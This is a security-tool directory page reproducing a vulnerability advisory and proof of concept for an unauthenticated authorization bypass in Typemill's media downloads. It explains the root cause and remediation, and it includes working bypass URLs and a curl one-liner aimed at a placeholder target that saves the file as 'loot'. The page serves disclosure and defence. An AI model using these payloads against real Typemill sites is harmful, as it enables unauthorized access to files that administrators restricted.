Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-71518 — Advisory and PoC for an unauthenticated authorization bypass in Typemill media downloads, using path-equivalent URL variants to access role-restricted files. | Kitploit
Tools/GitHubGitHub/ilhomjonr/cve-2026-71518
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubilhomjonr/cve-2026-71518

CVE-2026-71518

Advisory and PoC for an unauthenticated authorization bypass in Typemill media downloads, using path-equivalent URL variants to access role-restricted files.

View Repository
1423 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-71518 — Typemill Unauthenticated Authorization Bypass

Path-equivalent URL variants bypass role-restricted media downloads

Restriction is keyed on the raw request path; the file is read from the OS-resolved path — the two disagree

CVE CVSS 3.1 CVSS 4.0 CWE

Product Status Researcher

At a glance · Summary · Root cause · Attack chain · Exploit · Remediation · Timeline


📋 At a glance


🔎 Summary

Typemill lets an administrator restrict individual media files to a specific user role through media/files/filerestrictions.yaml. The public download route is supposed to honor that restriction — but it checks the restriction against the raw request path while serving the bytes from the filesystem-resolved path. Because the same file has many path-equivalent spellings (./name, //name, %2e/name), an attacker picks a variant that does not match the restriction key yet still resolves to the same file on disk.

The route carries no authentication middleware, so the result is a fully unauthenticated download of files that were explicitly locked to a role.


🧬 Root cause

The download route is public — there is no auth middleware on it:

root@kitploit:~
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');

Inside system/typemill/Controllers/ControllerWebDownload.php, the access-control decision and the file read use two different representations of the same path:

root@kitploit:~
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
    // ... enforce role restriction (redirect to login if not allowed)
}

// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);

validate() only rejects a literal .. sequence — it does not normalize ./ or //, and it does not reject percent-encoded equivalents. So the restriction key and the file that actually gets read fall out of sync:

The bug is the classic "authorization decision and resource access keyed on different, attacker-controllable strings" pattern (CWE-639/CWE-863). $_SERVER['REQUEST_URI'] stays raw under Apache too, so this is not server-specific.


⛓️ Attack chain

root@kitploit:~
flowchart LR
    A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
    B --> C{Restriction key<br/>matches raw path?}
    C -->|yes| D[302 → login<br/>🔒 blocked]
    A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
    E --> F{Restriction key<br/>matches raw path?}
    F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
    G --> H[200 OK<br/>🟢 file leaked]
  1. Administrator uploads a private file and restricts it to a role in filerestrictions.yaml.
  2. Canonical URL is correctly blocked for anonymous users.
  3. Attacker requests a path-equivalent variant → restriction key misses, file still resolves → download succeeds without any credentials.

💥 Exploit

exploit/exploit.py reproduces the issue end-to-end against a local test container. It (1) has the "admin" drop a private file restricted to the editor role, (2) confirms the canonical URL is blocked for an anonymous user, then (3) downloads the same file through each path-equivalent variant.

root@kitploit:~
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py

Expected output:

root@kitploit:~
[CONTROL] GET /media/files/secret.pdf            -> http=302  (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf          -> http=200  leaked=True
[BYPASS ] GET /media/files//secret.pdf           -> http=200  leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf        -> http=200  leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)

One-liner against any vulnerable host (authorized testing only):

root@kitploit:~
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

PoC evidence


🛠️ Remediation

  • Upgrade to Typemill 2.26.0 or later.
  • The correct fix is to canonicalize/normalize the request path once, then use that single canonical value for both the restriction lookup and the file read — so the access-control key and the served resource can never disagree.
  • Defense in depth: resolve with realpath() and confirm containment under the media base directory before reading, and reject percent-encoded path separators.

🗓️ Timeline

DateEvent
2026-08-04Vulnerability discovered in Typemill 2.25.0; PoC verified end-to-end on Docker
2026-08-04Reported to maintainer / VulnCheck
—

📚 References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71518
  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-71518
  • Fixed release: https://github.com/typemill/typemill/releases/tag/v2.26.0

For authorized security testing and educational use only. © @IlhomjonR

Download Tool
CVE IDCVE-2026-71518
Producttypemill/typemill — Typemill (flat-file PHP CMS, Slim 4)
Affectedall versions < 2.26.0 (verified on 2.25.0, commit 8f3901c)
Fixed in2.26.0
WeaknessCWE-863 (Incorrect Authorization) · CWE-639 (Authorization Bypass Through User-Controlled Key)
CVSS v3.17.5 — High · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS v4.08.7 — High
VectorNetwork · no authentication · no user interaction
ImpactUnauthenticated download of media files an administrator restricted to a privileged role
ResearcherIlhomjon Rustamov (@IlhomjonR)
Request pathRestriction key matched?File resolved on diskOutcome
/media/files/secret.pdf✅ yessecret.pdf🔒 blocked (302 → login)
/media/files/./secret.pdf❌ nosecret.pdf🟢 served (200)
/media/files//secret.pdf❌ nosecret.pdf🟢 served (200)
/media/files/%2e/secret.pdf❌ nosecret.pdf🟢 served (200)
Fixed in Typemill 2.26.0
2026-08-18CVE-2026-71518 public; advisory + PoC released